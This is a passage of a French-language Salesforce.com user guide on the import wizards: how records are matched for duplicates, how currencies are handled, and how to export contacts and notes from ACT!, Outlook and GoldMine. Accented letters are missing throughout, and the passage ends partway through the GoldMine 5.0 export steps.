Importer les comptes et les contacts de mon entreprise
FAQ : Importation

Quels lments sont imports pour les comptes personnels ?

L'importation de comptes personnels est disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Les assistants d'importation des comptes personnels empchent la cration d'enregistrements en double. Pour cela, ils font
correspondre les enregistrements en fonction de l'un des champs suivants : Nom de compte, ID Salesforce.com ou
E-mail. Dans votre fichier d'importation, incluez une colonne pour le champ que vous utilisez pour faire correspondre les
enregistrements.
Remarque: Votre administrateur n'utilise pas ncessairement l'expression comptes personnels . Dans ce cas, l'assistant
d'importation fait rfrence au nouveau nom.

Correspondance par nom

Lorsque vous slectionnez cette option, l'assistant d'importation dtecte les enregistrements Salesforce.com existants qui
portent le mme nom. Ce type de correspondance ne tient pas compte de la casse. Par exemple, les noms qui commencent par
une majuscule seront mis en correspondance avec leurs homologues commenant par une minuscule. Si ncessaire, passez en
revue et normalisez vos noms d'objet personnalis avant d'excuter l'importation afin d'viter toute correspondance indsirable.

Gestion des donnes

Guide de l'utilisateur | Prsentation de l'importation | 259

Correspondance par ID Salesforce.com

Gnr par le systme, l'ID Salesforce.com est une chane de 15 ou 18 lettres et chiffres, qui tient compte de la casse et identifie
de manire unique chaque enregistrement Salesforce.com. Lorsque vous slectionnez cette option, l'assistant d'importation
dtecte les enregistrements Salesforce.com existants dots du mme ID Salesforce.com. Souvenez-vous que les ID Salesforce.com
tiennent compte de la casse et doivent tre strictement identiques. Les ID Salesforce.com s'obtiennent via l'excution de
rapports qui incluent le champ d'ID de l'enregistrement.
Correspondance par adresse e-mail
Avec cette option, les comptes personnels de votre fichier d'importation sont mis en correspondance avec les comptes personnels
existants dans Salesforce.com, selon la valeur exacte du champ E-mail.
Correspondance par ID externe
Un ID externe est un champ personnalis disposant d'un attribut ID externe. En d'autres termes, il contient des identificateurs
d'enregistrement uniques issus d'un systme autre que Salesforce.com. Lorsque vous slectionnez cette option, l'assistant
d'importation dtecte les enregistrements Salesforce.com existants dots du mme ID externe. Cette opration ne tient pas
compte de la casse (par exemple, ABC sera mis en correspondance avec abc ). Il existe cependant une exception : si le
champ personnalis dispose de l'attribut Unique et que l'option de respect de la casse de cet attribut a t slectionne, les
lettres majuscules et minuscules sont considres comme diffrentes. Pour plus d'informations, reportez-vous Attributs de
champ personnalis la page 397.
Si ncessaire, passez en revue et normalisez les valeurs des ID externes avant d'excuter l'importation afin d'viter toute
correspondance indsirable.
Lors d'une correspondance par ID externe, si l'assistant d'importation trouve des enregistrements en double, seuls les trois
premiers vous sont transmis via l'e-mail de confirmation.
Remarque: Seuls les champs personnaliss de compte ayant l'attribut ID externe sont disponibles pour cette tape.
Bien que tous les champs de contact personnaliss soient disponibles sur les prsentations de page des comptes
personnels, les champs de contact personnaliss dots de l'attribut ID externe ne sont pas disponibles en tant que
champs de correspondance durant l'importation de comptes personnels.
Omission ou mise jour des enregistrements correspondants
Lorsque l'assistant d'importation dtecte des enregistrements Salesforce.com correspondants en fonction du champ slectionn,
choisissez l'une des actions suivantes :

Ne mettez pas jour les enregistrements existants et n'insrez que de nouveaux enregistrements : si de nouveaux
enregistrements de votre fichier ne correspondent aucun enregistrement existant, insrez-les dans Salesforce.com. Ignorez
tout enregistrement de votre fichier qui correspond un enregistrement existant et n'effectuez aucune opration sur
l'enregistrement existant.
Mettez jour les enregistrements existants et n'insrez aucun nouvel enregistrement : si des enregistrements de votre
fichier correspondent un enregistrement existant, mettez ce dernier jour. Ignorez tous les enregistrements de votre
fichier qui ne correspondent aucun enregistrement existant et ne les insrez pas en tant que nouveaux enregistrements.

Gestion des donnes

Guide de l'utilisateur | Prsentation de l'importation | 260

Mettre jour les enregistrements existants et insrer de nouveaux enregistrements : si des enregistrements de votre
fichier sont nouveaux et ne correspondent aucun enregistrement existant, insrez-les dans Salesforce.com. En outre, si
des enregistrements de votre fichier correspondent un enregistrement existant, mettez celui-ci jour.

Voir aussi :
Importer mes comptes personnels
Importer les comptes personnels de mon entreprise
FAQ : Importation

Quels sont les lments imports dans les pistes ?

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Vous pouvez importer des donnes dans les champs de piste standard et dans n'importe quel champ de piste personnalis dont
vous disposez, mme si un champ particulier est masqu ou en lecture seule dans la prsentation de page ou dans les paramtres
de scurit au niveau du champ des pistes. (La scurit au niveau du champ est disponible dans Enterprise Edition, Unlimited
Edition et Developer Edition uniquement).
Importation de pistes et des types correspondants
Vous pouvez faire correspondre les pistes de votre fichier d'importation avec des pistes existantes dans Salesforce.com. Voici
les types de correspondance de piste disponibles : ID Salesforce.com, nom ou e-mail. En choisissant un type de correspondance,
vous dfinissez des critres vitant tout risque de piste en double. Par exemple, si vous faites correspondre par l'e-mail et qu'une
piste de votre fichier source possde le mme e-mail qu'une piste dans Salesforce.com, cette piste est mise jour dans
Salesforce.com. Si vous ne faites pas correspondre par l'e-mail et qu'une piste de votre fichier source possde le mme e-mail
qu'une piste dans Salesforce.com, une nouvelle piste est cre.
Les assistants n'effacent jamais les champs de piste existants, sauf si vous cochez la case Remplacer les valeurs de
piste existantes de l'assistant. Lorsque cette case est coche, vous pouvez insrer de nouvelles donnes ou mettre jour
des champs de piste existants avec de nouvelles donnes. Notez toutefois que cette case ne vous permet pas de remplacer les
donnes du champ existant par des valeurs vides. Lorsque cette case n'est pas coche, l'assistant met jour les champs de piste
vides, mais n'excute aucune action sur les champs existants.
Importation de pistes sans type correspondant
Si vous slectionnez le type de correspondance Aucune dans l'assistant d'importation de pistes, l'assistant Importer mes pistes
d'organisation cre une nouvelle piste dans Salesforce.com pour chaque piste de votre fichier d'importation. Vous pouvez
fusionner les pistes une fois qu'elles ont t importes. Reportez-vous Fusion des pistes en double la page 1536.

Voir aussi :
Importer mes pistes d'organisation
FAQ : Importation

Gestion des donnes

Guide de l'utilisateur | Prsentation de l'importation | 261

Quels sont les lments imports pour les membres de campagne ?

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Assistant Importation des pistes : pour chaque piste du fichier d'importation, cet assistant importe la piste, l'associe une
campagne et insre une valeur Statut du membre pour la piste de cette campagne. Vous pouvez importer des donnes
dans les champs de piste standard et dans les champs de piste personnaliss, mme si un champ particulier est masqu ou
en lecture seule dans les paramtres de prsentation de page ou de scurit au niveau du champ. (La scurit au niveau du
champ est disponible dans Enterprise Edition, Unlimited Edition et Developer Edition uniquement.) Si votre fichier
d'importation contient des pistes en double, l'assistant ne les fusionne pas. En outre, si une piste importe correspond
une piste existante, l'assistant ne fusionne pas les donnes en double dans une mme piste.
Assistant Mise jour de la campagne : pour chaque contact ou piste du fichier d'importation, cet assistant met jour
uniquement la valeur Statut du membre du contact ou de la piste correspondant dans Salesforce.com. Vous ne pouvez
pas ajouter de nouvelles pistes ou de nouveaux contacts, ni mettre jour les autres champs dans les enregistrements de piste
ou de contact existants.

Voir aussi :
Assistant Importation de piste
Assistant de mise jour de campagne
FAQ : Importation

Quels sont les lments imports pour les objets personnaliss ?

Importation d'objets personnaliss disponible dans : Contact Manager Edition, Group Edition, Professional Edition,
Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour importer des objets personnaliss :

Modifier toutes les donnes

L'assistant d'importation des objets personnaliss empche la cration d'enregistrements en double. Pour cela, il fait correspondre
les enregistrements en fonction de l'un des champs suivants : nom de l'objet personnalis, ID Salesforce.com ou ID externe.
Dans votre fichier d'importation, insrez une colonne pour le champ que vous utilisez pour la correspondance des enregistrements.
Correspondance par nom
Lorsque vous slectionnez cette option, l'assistant d'importation dtecte les enregistrements Salesforce.com existants qui
portent le mme nom. Ce type de correspondance ne tient pas compte de la casse. Par exemple, les noms qui commencent par
une majuscule seront mis en correspondance avec leurs homologues commenant par une minuscule. Si ncessaire, passez en
revue et normalisez vos noms d'objet personnalis avant d'excuter l'importation afin d'viter toute correspondance indsirable.

Gestion des donnes

Guide de l'utilisateur | Prsentation de l'importation | 262

Correspondance par ID Salesforce.com

Gnr par le systme, l'ID Salesforce.com est une chane de 15 ou 18 lettres et chiffres, qui tient compte de la casse et identifie
de manire unique chaque enregistrement Salesforce.com. Lorsque vous slectionnez cette option, l'assistant d'importation
dtecte les enregistrements Salesforce.com existants dots du mme ID Salesforce.com. Souvenez-vous que les ID Salesforce.com
tiennent compte de la casse et doivent tre strictement identiques. Les ID Salesforce.com s'obtiennent via l'excution de
rapports qui incluent le champ d'ID de l'enregistrement.
Correspondance par ID externe
Un ID externe est un champ personnalis disposant d'un attribut ID externe. En d'autres termes, il contient des identificateurs
d'enregistrement uniques issus d'un systme autre que Salesforce.com. Lorsque vous slectionnez cette option, l'assistant
d'importation dtecte les enregistrements Salesforce.com existants dots du mme ID externe. Cette opration ne tient pas
compte de la casse (par exemple, ABC sera mis en correspondance avec abc ). Il existe cependant une exception : si le
champ personnalis dispose de l'attribut Unique et que l'option de respect de la casse de cet attribut a t slectionne, les
lettres majuscules et minuscules sont considres comme diffrentes. Pour plus d'informations, reportez-vous Attributs de
champ personnalis la page 397.
Si ncessaire, passez en revue et normalisez les valeurs des ID externes avant d'excuter l'importation afin d'viter toute
correspondance indsirable.
Lors d'une correspondance par ID externe, si l'assistant d'importation trouve des enregistrements en double, seuls les trois
premiers vous sont transmis via l'e-mail de confirmation.
Omission ou mise jour des enregistrements correspondants
Lorsque l'assistant d'importation dtecte des enregistrements Salesforce.com correspondants en fonction du champ slectionn,
choisissez l'une des actions suivantes :

Ne mettez pas jour les enregistrements existants et n'insrez que de nouveaux enregistrements : si de nouveaux
enregistrements de votre fichier ne correspondent aucun enregistrement existant, insrez-les dans Salesforce.com. Ignorez
tout enregistrement de votre fichier qui correspond un enregistrement existant et n'effectuez aucune opration sur
l'enregistrement existant.
Mettez jour les enregistrements existants et n'insrez aucun nouvel enregistrement : si des enregistrements de votre
fichier correspondent un enregistrement existant, mettez ce dernier jour. Ignorez tous les enregistrements de votre
fichier qui ne correspondent aucun enregistrement existant et ne les insrez pas en tant que nouveaux enregistrements.
Mettre jour les enregistrements existants et insrer de nouveaux enregistrements : si des enregistrements de votre
fichier sont nouveaux et ne correspondent aucun enregistrement existant, insrez-les dans Salesforce.com. En outre, si
des enregistrements de votre fichier correspondent un enregistrement existant, mettez celui-ci jour.
Remarque: Les objets personnaliss contenant deux relations principal-dtails ne peuvent pas tre imports l'aide
de l'assistant d'importation.

Voir aussi :
Importer les objets personnaliss de mon organisation
FAQ : Importation

Gestion des donnes

Guide de l'utilisateur | Prsentation de l'importation | 263

Quels sont les lments imports pour les solutions ?

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour importer des solutions :

Importer les solutions

L'assistant d'importation des solutions empche la cration d'enregistrements en double. Pour cela, il fait correspondre les
enregistrements en fonction de l'un des champs suivants : titre de la solution, ID Salesforce.com ou ID externe. Dans votre
fichier d'importation, insrez une colonne pour le champ que vous utilisez pour la correspondance des enregistrements.
Correspondance par titre de solution
Lorsque vous slectionnez cette option, l'assistant d'importation dtecte les solutions Salesforce.com existantes qui portent le
mme titre. Ce type de correspondance ne tient pas compte de la casse. Par exemple, les titres qui commencent par une
majuscule seront mis en correspondance avec leurs homologues commenant par une minuscule. Si ncessaire, passez en revue
et normalisez vos titres de solution avant d'excuter l'importation afin d'viter toute correspondance indsirable.
Correspondance par ID Salesforce.com
Gnr par le systme, l'ID Salesforce.com est une chane de 15 ou 18 lettres et chiffres, qui tient compte de la casse et identifie
de manire unique chaque enregistrement Salesforce.com. Lorsque vous slectionnez cette option, l'assistant d'importation
dtecte les enregistrements Salesforce.com existants dots du mme ID Salesforce.com. Souvenez-vous que les ID Salesforce.com
tiennent compte de la casse et doivent tre strictement identiques. Les ID Salesforce.com s'obtiennent via l'excution de
rapports qui incluent le champ d'ID de l'enregistrement.
Correspondance par ID externe
Un ID externe est un champ personnalis disposant d'un attribut ID externe. En d'autres termes, il contient des identificateurs
d'enregistrement uniques issus d'un systme autre que Salesforce.com. Lorsque vous slectionnez cette option, l'assistant
d'importation dtecte les enregistrements Salesforce.com existants dots du mme ID externe. Cette opration ne tient pas
compte de la casse (par exemple, ABC sera mis en correspondance avec abc ). Il existe cependant une exception : si le
champ personnalis dispose de l'attribut Unique et que l'option de respect de la casse de cet attribut a t slectionne, les
lettres majuscules et minuscules sont considres comme diffrentes. Pour plus d'informations, reportez-vous Attributs de
champ personnalis la page 397.
Si ncessaire, passez en revue et normalisez les valeurs des ID externes avant d'excuter l'importation afin d'viter toute
correspondance indsirable.
Lors d'une correspondance par ID externe, si l'assistant d'importation trouve des enregistrements en double, seuls les trois
premiers vous sont transmis via l'e-mail de confirmation.
Omission ou mise jour des enregistrements correspondants
Lorsque l'assistant d'importation dtecte des enregistrements Salesforce.com correspondants en fonction du champ slectionn,
choisissez l'une des actions suivantes :

Ne mettez pas jour les enregistrements existants et n'insrez que de nouveaux enregistrements : si de nouveaux
enregistrements de votre fichier ne correspondent aucun enregistrement existant, insrez-les dans Salesforce.com. Ignorez

Gestion des donnes

Guide de l'utilisateur | Prsentation de l'importation | 264

tout enregistrement de votre fichier qui correspond un enregistrement existant et n'effectuez aucune opration sur
l'enregistrement existant.
Mettez jour les enregistrements existants et n'insrez aucun nouvel enregistrement : si des enregistrements de votre
fichier correspondent un enregistrement existant, mettez ce dernier jour. Ignorez tous les enregistrements de votre
fichier qui ne correspondent aucun enregistrement existant et ne les insrez pas en tant que nouveaux enregistrements.
Mettre jour les enregistrements existants et insrer de nouveaux enregistrements : si des enregistrements de votre
fichier sont nouveaux et ne correspondent aucun enregistrement existant, insrez-les dans Salesforce.com. En outre, si
des enregistrements de votre fichier correspondent un enregistrement existant, mettez celui-ci jour.

Voir aussi :
Que sont les solutions multilingues ?
Importer les solutions de mon organisation
FAQ : Importation

Remarques concernant l'importation de donnes

Disponible avec : Toutes les ditions
L'importation de l'organisation n'est pas disponible dans : Personal Edition
L'importation de pistes n'est pas disponible dans : Personal Edition et Contact Manager Edition
L'importation d'objets personnaliss n'est pas disponible avec : Personal Edition
L'importation de solutions n'est pas disponible avec : Personal Edition, Contact Manager Edition et Group Edition

Accessibilit des champs : dans les assistants d'importation l'chelle de l'entreprise pour les comptes et les pistes, vous
pouvez importer des donnes dans n'importe quel champ standard ou personnalis, mme si le champ est masqu ou en
lecture seule dans votre prsentation de page ou dans les paramtres de scurit au niveau du champ.
En ce qui concerne l'assistant Importer mes contacts, vous pouvez importer des donnes uniquement dans les champs que
vous pouvez modifier dans la prsentation de page ou les paramtres de scurit des champs.
Reportez-vous Gestion des prsentations de page la page 544 et Configuration de la scurit au niveau du champ la
page 182. La scurit au niveau du champ est disponible dans Enterprise Edition, Unlimited Edition et Developer Edition
uniquement.

Nouvelles valeurs pour les listes de slection et les listes de slection multiple : si votre fichier d'importation contient
des donnes afficher dans des listes de slection ou des listes de slection multiple, les assistants mettent un avertissement
lorsque vous tentez d'importer une nouvelle valeur de liste de slection qui ne correspond pas une valeur valide. Si vous
ignorez l'avertissement, la nouvelle valeur est automatiquement ajoute l'enregistrement import. Votre administrateur
peut, par la suite, modifier le champ pour ajouter les valeurs ncessaires. Les assistants d'importation n'autorisent pas
l'importation simultane de plus de 100 nouvelles valeurs de liste de slection ou de liste de slection multiple pour un
champ.
Si votre organisation utilise le systme de traduction, les assistants d'importation recherchent les valeurs traduites
correspondantes avant de crer de nouvelles valeurs de liste de slection inactives. Pour plus d'informations, reportez-vous
Configuration du systme de traduction la page 88.

Gestion des donnes

Guide de l'utilisateur | Importation de plusieurs devises | 265

Listes de slection multiple : pour importer plusieurs valeurs dans une liste de slection multiple, sparez les valeurs par
un point-virgule dans votre fichier d'importation.
Vous pouvez importer jusqu' 100 valeurs la fois dans un champ de liste de slection multiple. Si votre fichier d'importation
compte plus de 100 valeurs pour un enregistrement, l'assistant d'importation laisse le champ vide dans cet enregistrement.

Cases cocher : pour importer des donnes dans un champ de case cocher, utilisez 1 pour les valeurs coches et 0 pour
les valeurs non coches.
Valeurs par dfaut : pour les champs de liste de slection, de liste de slection multiple et de case cocher, si vous ne
mappez pas le champ dans l'assistant d'importation, la valeur par dfaut du champ (le cas chant) est automatiquement
insre dans le nouvel enregistrement ou l'enregistrement mis jour.
Champs date/heure : assurez-vous que le format de tous les champs date/heure que vous importez correspond leur
affichage dans Salesforce.com en fonction de vos paramtres rgionaux. Pour plus d'informations sur vos paramtres
rgionaux, reportez-vous Modification des informations personnelles la page 20.
Champs de formule : ces champs de formule n'acceptent pas les donnes importes car ils sont en lecture seule.
Rgles de validation de champ : Salesforce.com excute des rgles de validation sur les enregistrements avant leur
importation. Les enregistrements pour lesquels la validation choue ne sont pas imports. Si ncessaire, avant d'effectuer
une importation, dsactivez les rgles de validation qui affectent les enregistrements que vous importez.
Champs universellement requis :ces champs doivent tre inclus dans les fichiers d'importation pour viter l'chec de
l'importation. Pour plus d'informations, reportez-vous propos des champs universellement requis la page 468.

Importation de plusieurs devises

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Si la configuration dfinie pour votre organisation autorise l'utilisation de plusieurs devises, vous pouvez importer des montants
exprims dans diffrentes devises.
Importation de mes comptes et de mes contacts
Dans le cas d'importation de donnes personnelles, tous les montants des nouveaux comptes et contacts sont imports dans
votre devise personnelle. Lorsque l'importation met jour des montants d'enregistrements existants, les montants contenus
dans votre fichier sont convertis de votre devise personnelle vers celle du compte ou du contact.
Par exemple, si votre devise personnelle est le dollar amricain et que votre fichier d'importation contient 100 comme chiffre
d'affaires annuel d'un compte existant dont la devise est l'euro, le nouveau chiffre d'affaires annuel du compte
sera 92 EUR (si le taux de conversion est 0,92 et EUR le code de devise de l'euro).
Importation d'organisation
Lors de l'importation de comptes, de contacts, d'objets personnaliss, de pistes ou de solutions pour votre organisation, vous
pouvez prciser la devise utiliser pour les champs montaires via la colonne Code ISO de la devise du fichier
d'importation. Les rgles suivantes sont applicables :

Saisie du code de devise : indiquez un code de devise dans la colonne Code ISO de la devise du fichier d'importation.
Les codes de devises sont constitus de trois lettres, conformment la norme internationale. Par exemple, USD est le
code de devise du dollar amricain. Cliquez sur Configuration Profil de la socit Grer les devises pour connatre
la liste des codes en vigueur dans votre entreprise.

Gestion des donnes

Guide de l'utilisateur | Cration de fichiers d'exportation pour les assistants d'importation | 266

Utilisation d'une devise pour les comptes et les contacts : si vous importez des comptes et des contacts, la colonne Code
ISO de la devise s'applique la fois un compte et au contact associ. Vous ne pouvez pas spcifier de devises
diffrentes pour les comptes et les contacts associs.
Mise jour du code de devise : lors de la mise jour du code de devise (et non du montant dans cette devise) pour les
comptes et contacts existants, le montant existant n'est pas converti en valeur correspondante dans la nouvelle devise.
Spcification de devises inactives : si vous spcifiez une devise inactive dans votre fichier d'importation, votre devise
personnelle est utilise la place. Toutefois, les montants ne sont pas modifis. Par exemple, si votre fichier contient le
montant AUD 100 (pour 100 dollars australiens) mais que AUD est une devise inactive dans votre organisation, il est
import sous la forme USD 100, en partant du principe que votre devise personnelle est le dollar amricain.
Omission de la colonne Code ISO de la devise : lors de la cration d'enregistrements par le biais de l'importation, si vous
n'utilisez pas la colonne Code ISO de la devise ou si vous ne la mappez pas, votre devise personnelle est utilise. Par
exemple, si votre fichier contient la valeur 100 et si la devise utilise par la socit est le dollar amricain (code de devise =
USD), le montant import est 100 USD.
Lors de la mise jour d'enregistrements existants par le biais de l'importation, si vous n'utilisez pas la colonne Code ISO
de la devise ou si vous ne la mappez pas, le systme considre que tous les montants sont libells dans la devise existante
de l'enregistrement. Par exemple, si votre fichier contient la valeur 100 pour un enregistrement dont le code de devise est
EUR (code de l'euro), ce montant est interprt comme 100 EUR.

Voir aussi :
Gestion de plusieurs devises

Cration de fichiers d'exportation pour les assistants

d'importation
Disponible avec : Toutes les ditions

Pour importer des donnes dans Salesforce.com, vous devez d'abord les exporter depuis votre application existante. Vous crez
ainsi un fichier d'exportation contenant les informations importer.

Exportation partir de ACT!

Exportation partir de Outlook
Exportation partir de GoldMine 4,0
Exportation partir de GoldMine 5.0
Exportation partir de Palm Desktop
Exportation partir d'autres sources de donnes
Exportation depuis Salesforce.com

Une fois le fichier d'exportation cr, comparez les donnes avec les champs d'importation Salesforce et vrifiez que les donnes
seront mappes dans les champs Salesforce.com correspondants. Reportez-vous Prparation des donnes importer la page
273.
Votre fichier peut contenir un mlange de nouveaux enregistrements et de mises jour d'enregistrements existants. L'option
slectionne dans le champ Type de correspondance dtermine si l'enregistrement est nouveau ou existant. Lors de
l'importation de pistes, vous pouvez faire correspondre les pistes de votre fichier d'importation avec des pistes existantes dans
Salesforce.com. Voici les types de correspondance de piste disponibles : ID Salesforce.com, nom ou e-mail. En choisissant un

Gestion des donnes

Guide de l'utilisateur | Cration de fichiers d'exportation pour les assistants d'importation | 267

type de correspondance, vous dfinissez des critres vitant tout risque de piste en double. Par exemple, si vous faites correspondre
par l'e-mail et qu'une piste de votre fichier source possde le mme e-mail qu'une piste dans Salesforce.com, cette piste est
mise jour dans Salesforce.com. Si vous ne faites pas correspondre par l'e-mail et qu'une piste de votre fichier source possde
le mme e-mail qu'une piste dans Salesforce.com, une nouvelle piste est cre.
Remarque:
Si vous tes un administrateur et que vous effectuez une importation pour plusieurs utilisateurs, vous devez regrouper
vos donnes d'exportation dans un seul fichier CSV l'aide d'Excel.
Lors de l'importation de nouveaux enregistrements, ajoutez ou modifiez un champ Responsable de
l'enregistrement de votre fichier de sorte que le champ contienne les noms d'utilisateurs existants et actifs.
Indiquez le nom complet d'un utilisateur (par exemple, jdupond@acme.com) ou le nom et prnom (par exemple,
Jean Dupond ou Dupond Jean pour les pays asiatiques). Vous indiquerez ainsi le responsable des donnes importes
lors d'une importation d'organisation. Pour les importations de pistes, vous pouvez galement spcifier un nom de file
d'attente de piste. Les champs de responsables d'enregistrements ne sont pas mis jour lors la mise jour des
enregistrements via l'importation. Tous les enregistrements gardent leur responsable existant et le champ Responsable
de l'enregistrement de votre fichier d'importation est ignor pour ces enregistrements.
Lors de l'importation de pistes, au lieu d'utiliser un champ Responsable de l'enregistrement, vous pouvez
recourir une rgle d'attribution de piste pour dsigner les responsables des donnes importes.

Voir aussi :
Prparation des donnes importer

Exportation partir de ACT!

ACT! vous permet d'exporter des donnes de contact dans un fichier au format texte dlimit que vous pouvez ensuite importer.
Par l'intermdiaire d'un outil d'une entreprise tierce, vous pouvez galement exporter des notes provenant d'ACT!, et les
importer dans des comptes et des contacts d'entreprises utilisant Professional Edition, Enterprise Edition, Unlimited Edition
ou Developer Edition.

Exportation de contacts partir de ACT!

Exportation de notes partir de ACT!

Exportation de contacts partir de ACT!

Pour exporter des contacts partir de ACT! (version 4.0 ou 2000), procdez comme suit :
1.
2.
3.
4.
5.
6.
7.

Lancez ACT! et ouvrez votre base de donnes.

Slectionnez Fichier change de donnes Exporter.
Slectionnez le type de fichier Texte - dlimit.
Choisissez un nom de fichier et un emplacement pour les donnes exportes, puis cliquez sur Suivant.
Slectionnez Enregistrements de contact uniquement
Cliquez sur le bouton Options....
Slectionnez le caractre sparateur de champs Virgule.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

Gestion des donnes

Guide de l'utilisateur | Cration de fichiers d'exportation pour les assistants d'importation | 268

8. Cochez la case Oui, exporter les noms des champs, puis cliquez sur OK.
9. Cliquez sur Suivant.
10. Slectionnez Tous les enregistrements, puis cliquez sur Suivant.
11. Ne modifiez pas la liste indiquant l'ordre des champs exporter et cliquez sur Terminer.
Exportation de notes partir de ACT!
Avant d'importer des notes partir de ACT!, vous devez importer vos contacts depuis ce logiciel. Vous pouvez utiliser
ACT!PAK! pour exporter vos notes ACT! dans un fichier destin l'importation. Vous pouvez tlcharger ACT!PAK!
partir du site www.oakpro.com/prod01_ACTPAK.htm. Ce logiciel cote environ 99 dollars. L'importation de notes provenant
d'ACT! n'est possible qu'avec Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition.
Pour exporter des notes partir de ACT! (version 4.0 ou 2000), procdez comme suit :
1.
2.
3.
4.

Installez et lancez ACT!PAK!.

Ouvrez la base de donnes ACT!, puis configurez-la en vue d'une exportation vers Microsoft Excel.
Dans ACT!PAK!, slectionnez Transfrer dans le menu Excel.
Dans la bote de dialogue de transfert :
a.
b.
c.
d.
e.
f.
g.

Slectionnez Contact... dans Slectionner le type d'enregistrement

Slectionnez Consultation dans Contacts ACT!.
Dans Slection de champs, vrifiez que l'lment Champs contacts est bien slectionn dans la liste droulante.
Ajoutez les champs suivants de la liste de gauche vers la liste de droite : Socit, Nom, Prnom.
Attribuez la valeur Notes/Historique l'option Slectionner le type d'enregistrement.
Sous Slection de champs, vrifiez que Champs Notes/Historique est slectionn dans la liste droulante.
Sous Slection de champs, ajoutez le champ Objet la liste des champs prsents dans la zone de droite. Ajoutez
ventuellement d'autres donnes exporter, comme la Date.
h. Sous Mettre en attente le fichier, spcifiez l'emplacement de votre fichier d'exportation, puis cliquez sur le bouton
Transfrer.
5. Une fois le transfert termin, placez-vous dans le rpertoire contenant le fichier export et modifiez son extension (.csv au
lieu de .txt).
6. Ouvrez le fichier dans Excel.
7. Si ncessaire, rorganisez le fichier avant de l'importer. Parmi les problmes les plus courants, les notes peuvent tre
fractionnes entre plusieurs colonnes (cela se produit lorsque les notes contiennent des guillemets).
Lors de l'importation des donnes, ne mappez pas les champs note avant l'tape finale si vous tes invit mapper des champs
supplmentaires. Slectionnez Inclure dans Note sur le contact pour importer les notes ACT! dans les notes de contact
Salesforce.com.
Remarque: Si vous travaillez avec ACT! version 7 ou suprieure, vous pouvez galement exporter partir d'ACT! en
prparant l'utilisation de l'Exportateur pour ACT!.

Voir aussi :
Mappage par dfaut des champs pour ACT!

Gestion des donnes

Guide de l'utilisateur | Cration de fichiers d'exportation pour les assistants d'importation | 269

Exportation partir d'Outlook

Microsoft Outlook vous permet d'exporter des donnes dans un fichier au format CSV (texte dlimit par des virgules) que
vous pouvez ensuite importer.
1.
2.
3.
4.

Lancez Outlook.
Slectionnez Fichier Importer et exporter.
Choisissez Exporter des donnes vers un fichier, puis cliquez sur Suivant.
Choisissez Valeurs spares par des virgules (Windows), puis cliquez sur Suivant.
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre sparateur.

5. Slectionnez le dossier Contacts et cliquez sur Suivant. Vous pouvez choisir un dossier de contacts diffrent si vos contacts
sont stocks dans plusieurs dossiers.
6. Choisissez un nom de fichier pour les donnes exportes, puis cliquez sur Suivant.
7. Cliquez sur Terminer.

Voir aussi :
Mappage par dfaut des champs pour Outlook

Exportation partir de GoldMine 4,0

GoldMine 4.0 vous permet d'exporter des donnes de contact dans un fichier au format texte que vous pouvez ensuite importer.
De plus, vous pouvez exporter les notes GoldMine 4,0 afin de les importer dans Professional Edition, Enterprise Edition,
Unlimited Edition ou Developer Edition.

Exportation de contacts partir de GoldMine 4,0

Exportation de notes partir de GoldMine 4,0

Exportation de contacts partir de GoldMine 4,0

Pour exporter des donnes partir de GoldMine 4,0, procdez comme suit :
1.
2.
3.
4.
5.
6.
7.
8.

Lancez GoldMine 4,0.

Slectionnez Exporter les enregistrements dans le menu Outils.
Slectionnez Exporter dans un nouveau fichier et Fichier DBF, puis cliquez sur Suivant.
Dans la liste des champs GoldMine situe gauche de la bote de dialogue, slectionnez tous les champs, puis cliquez sur
Ajouter le champ. Cliquez ensuite sur Suivant.
Choisissez le rpertoire dans lequel enregistrer le fichier d'exportation, puis cliquez sur Suivant.
Choisissez Non lorsque vous tes invit enregistrer ces paramtres, puis cliquez sur Suivant.
Cliquez sur Terminer.
Une fois l'exportation termine, placez-vous dans le rpertoire contenant le fichier export et modifiez son extension (.csv
au lieu de .dbf ). Le fichier est maintenant prt pour l'importation dans Salesforce.com.

Gestion des donnes

Guide de l'utilisateur | Cration de fichiers d'exportation pour les assistants d'importation | 270

Exportation de notes partir de GoldMine 4,0

Avant d'importer vos notes GoldMine 4.0 dans Salesforce.com, vous devez importer vos contacts GoldMine 4.0.
Pour exporter des notes partir de GoldMine 4,0, procdez comme suit :
1.
2.
3.
4.

Lancez GoldMine 4,0.

Slectionnez Exporter les enregistrements dans le menu Outils.
Slectionnez Exporter dans un nouveau fichier et Fichier ASCII, puis cliquez sur Suivant.
Dans la liste des champs GoldMine situe gauche de la bote de dialogue, slectionnez les champs socit, nom et
notes, puis cliquez sur Ajouter le champ. Cliquez ensuite sur Suivant.
5. Choisissez le rpertoire dans lequel enregistrer le fichier d'exportation, puis cliquez sur Suivant.
6. Choisissez Non lorsque vous tes invit enregistrer ces paramtres, puis cliquez sur Suivant.
7. Cliquez sur Terminer.
8. Une fois l'exportation termine, placez-vous dans le rpertoire contenant le fichier export et modifiez son extension en
.csv.
9. Ouvrez le fichier.
10. Ajoutez une colonne d'en-tte en cliquant avec le bouton droit sur la premire ligne et en choisissant Insrer.
11. Dans la colonne A, entrez Socit.
12. Dans la colonne B, entrez Nom.
13. Dans la colonne C, entrez Note.
14. Si ncessaire, rorganisez le fichier avant de l'importer. Parmi les problmes les plus courants, les notes peuvent tre
fractionnes entre plusieurs colonnes (cela se produit lorsque les notes contiennent des guillemets).

Voir aussi :
Mappage de champs pour d'autres sources de donnes et pour une importation d'organisation

Exportation partir de GoldMine 5.0

GoldMine 5,0 vous permet d'exporter des donnes de contact dans un fichier au format texte que vous pouvez ensuite importer.
De plus, vous pouvez exporter les notes GoldMine 5.0 afin de les importer dans Professional Edition, Enterprise Edition,
Unlimited Edition ou Developer Edition.

Exportation de contacts partir de GoldMine 5.0

Exportation de notes partir de GoldMine 5.0

Exportation de contacts partir de GoldMine 5.0

Pour exporter des donnes partir de GoldMine 5.0, procdez comme suit :
1.
2.
3.
4.
